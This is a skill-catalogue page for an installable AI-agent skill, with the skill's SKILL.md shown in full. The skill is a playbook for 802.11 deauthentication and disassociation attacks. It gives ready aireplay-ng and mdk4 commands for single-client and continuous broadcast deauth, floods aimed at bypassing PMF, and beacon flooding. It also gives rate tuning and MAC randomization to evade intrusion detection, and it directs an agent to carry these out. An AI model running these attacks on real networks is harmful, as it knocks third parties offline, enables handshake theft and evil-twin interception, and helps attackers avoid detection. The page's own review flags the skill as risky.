SkillAgentSearch skills...

offensive-deauth-disassoc

Deauthentication and disassociation attacks against 802.11 networks — targeted single-client deauth for handshake capture, broadcast deauth for DoS (with authorization), action-frame attacks bypassing 802.11w (PMF), beacon flooding, mdk4 / aireplay-ng tooling, and rate-limit / PMF-aware operation.

Install / Use

npx skills add SnailSploit/Claude-Red --skill offensive-deauth-disassoc

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

92/100

Supported Platforms

Universal

Tags

Our assessment of offensive-deauth-disassoc

offensive-deauth-disassoc scores 92/100 on our quality scale, 867th of 4,700 Development & Engineering skills we index (top 19%).

Its SKILL.md is 4.5 KB long, well organised into 21 sections with 6 code examples: a solid amount of guidance for an agent.

With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
26/30
Structure
20/20
Description
15/15
Adoption
16/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 2 months ago, so offensive-deauth-disassoc is actively maintained.
  • Our last check on 2026-10-05 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

Review

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to run active offensive wireless attacks (aireplay-ng --deauth, mdk4 auth/CTS/WPA floods, beacon flooding) that disrupt network availability and can facilitate credential capture.

AI review: risky

  • The skill instructs the agent to run active offensive wireless attacks (aireplay-ng --deauth, mdk4 auth/CTS/WPA floods, beacon flooding) that disrupt network availability and can facilitate credential capture.
  • It explicitly includes denial-of-service techniques such as continuous broadcast deauthentication and beacon flooding, and advises MAC randomization to evade WIPS detection.
  • Although it mentions authorization, the file is a set of agent instructions to execute destructive/deceptive actions against third-party networks, not merely documentation or safe tooling usage.

AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-09-26. Automated pattern scan on 2026-09-26. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

offensive-deauth-disassoc compared with similar skills

All 4 of these similar skills score higher than offensive-deauth-disassoc; compare them before choosing.

SkillScoreStarsUpdatedFormat
offensive-deauth-disassoc (this skill)by SnailSploit926.8k58d agoSKILL.md
taste-skillby Leonxlnx100116.8k8d agoCLAUDE.md
ai-job-searchby ai-job-search-dev10072.1ktodayCLAUDE.md
claude-howtoby luongnv8910047.3k2d agoCLAUDE.md
lobehubby lobehub10085.6ktodayMCP Server

Frequently asked questions

How do I install offensive-deauth-disassoc?
Run npx skills add SnailSploit/Claude-Red --skill offensive-deauth-disassoc. The install tabs above show the steps for each supported agent.
Which AI agents does offensive-deauth-disassoc work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is offensive-deauth-disassoc safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to run active offensive wireless attacks (aireplay-ng --deauth, mdk4 auth/CTS/WPA floods, beacon flooding) that disrupt network availability and can facilitate credential capture. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is offensive-deauth-disassoc still maintained?
The repository was last updated about 2 months ago, so offensive-deauth-disassoc is actively maintained.

name: offensive-deauth-disassoc description: "Deauthentication and disassociation attacks against 802.11 networks — targeted single-client deauth for handshake capture, broadcast deauth for DoS (with authorization), action-frame attacks bypassing 802.11w (PMF), beacon flooding, mdk4 / aireplay-ng tooling, and rate-limit / PMF-aware operation. Use to coerce client reconnection (handshake capture, evil-twin roaming), as targeted DoS, or to test PMF posture."

Deauth / Disassoc Attacks

The most-used 802.11 management-frame attack: send a forged deauthentication or disassociation frame as the AP, and the client disconnects. Modern PMF (802.11w) authenticates these frames cryptographically — but most consumer and many enterprise deployments still don't require PMF.

Quick Workflow

  1. Identify target client + AP (BSSID, channel)
  2. Pick deauth scope: single client (quiet) vs. broadcast (loud, DoS)
  3. Verify PMF status — if required, classic deauth fails; pivot to action-frame attacks
  4. Send the deauth burst at the right rate

Single-Client Deauth (Preferred)

Used to force handshake capture, push client to evil twin, or test reconnection behavior.

sudo aireplay-ng --deauth 5 \
  -a AA:BB:CC:DD:EE:FF \    # AP BSSID
  -c 11:22:33:44:55:66 \    # client MAC
  wlan0mon
  • --deauth 5 sends 5 deauths (10 frames — 5 to AP, 5 to client). 3–10 is usually enough.
  • More than 30 in a burst is unnecessarily noisy.

Broadcast Deauth (DoS, Use Sparingly)

# Single AP, all clients
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
# --deauth 0 = continuous

# Multiple APs from a list
sudo mdk4 wlan0mon d -B target_bssids.txt -c 1,6,11

Only with explicit authorization. Continuous broadcast deauth is a clear DoS signal and trips most WIPS within seconds.

PMF (802.11w) Awareness

PMF authenticates deauth/disassoc frames. Status visible in beacon RSN capabilities:

sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# PMF column: Required / Capable / Off

| PMF Status | Deauth Effect | |---|---| | Off | Classic deauth works | | Capable (optional) | Works against clients without PMF, fails against PMF-enabled clients | | Required | Classic deauth ignored — must use action-frame attacks |

Action-Frame Attacks Against PMF

PMF protects deauth/disassoc but doesn't always protect all action frames. Specific action types remain exploitable:

# mdk4 multi-tool attacks
sudo mdk4 wlan0mon a -a <BSSID>     # auth attack: floods auth frames, AP eventually disconnects clients
sudo mdk4 wlan0mon m -t <BSSID>     # CTS frame attack — abuse virtual carrier sense
sudo mdk4 wlan0mon w -t <BSSID>     # WPA-Enterprise: SAE auth flood

Action frames the IEEE 802.11 spec marks as "may be unprotected" include some block-ack and channel-switch announcements — implementation-specific exploitation paths exist but require chipset-specific testing.

Beacon Flooding

Confuse clients (and WIPS) by flooding fake beacons:

sudo mdk4 wlan0mon b -f beacon_essids.txt -c 6 -s 100
# Floods 100 beacons/sec for ESSIDs in the file

Use cases:

  • Hide your evil twin among noise
  • Stress-test client roaming logic
  • DoS WIPS dashboards (flood with thousands of fake APs)

Rate Tuning and Detection

| Burst | Defender Signal | |---|---| | 3–10 deauth, single client | Often misclassified as roaming or RF noise | | >30 deauth/sec from one source | WIPS rule trips | | Continuous broadcast deauth | Clear DoS — alert + ticket within minutes | | Beacon flood >50/sec | Saturates WIPS dashboards |

Randomize source MAC across burst-and-pause cycles to spread the signal.

Engagement Cheatsheet

# 1. Recon — note PMF status per target
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>

# 2. Single-client deauth for handshake capture
sudo aireplay-ng --deauth 3 -a <BSSID> -c <client> wlan0mon

# 3. PMF blocking? Try action-frame attacks
sudo mdk4 wlan0mon a -a <BSSID>

# 4. DoS scenario (authorized)
sudo aireplay-ng --deauth 0 -a <BSSID> wlan0mon

Reporting

Document for each test:

  • Target BSSID + ESSID + PMF status
  • Burst size, duration
  • Effect observed (client reconnected? handshake captured? DoS achieved?)
  • Detection signals defender would have seen

Key References

  • aireplay-ng documentation
  • mdk4: github.com/aircrack-ng/mdk4
  • IEEE 802.11w-2009 (PMF spec, now folded into 802.11-2020)
  • "Why MAC Address Randomization Doesn't Work" — research on action-frame leakage
  • Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md

Related Skills

View on GitHub
GitHub Stars6.8k
CategoryDevelopment
Updated1mo ago
Forks896

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions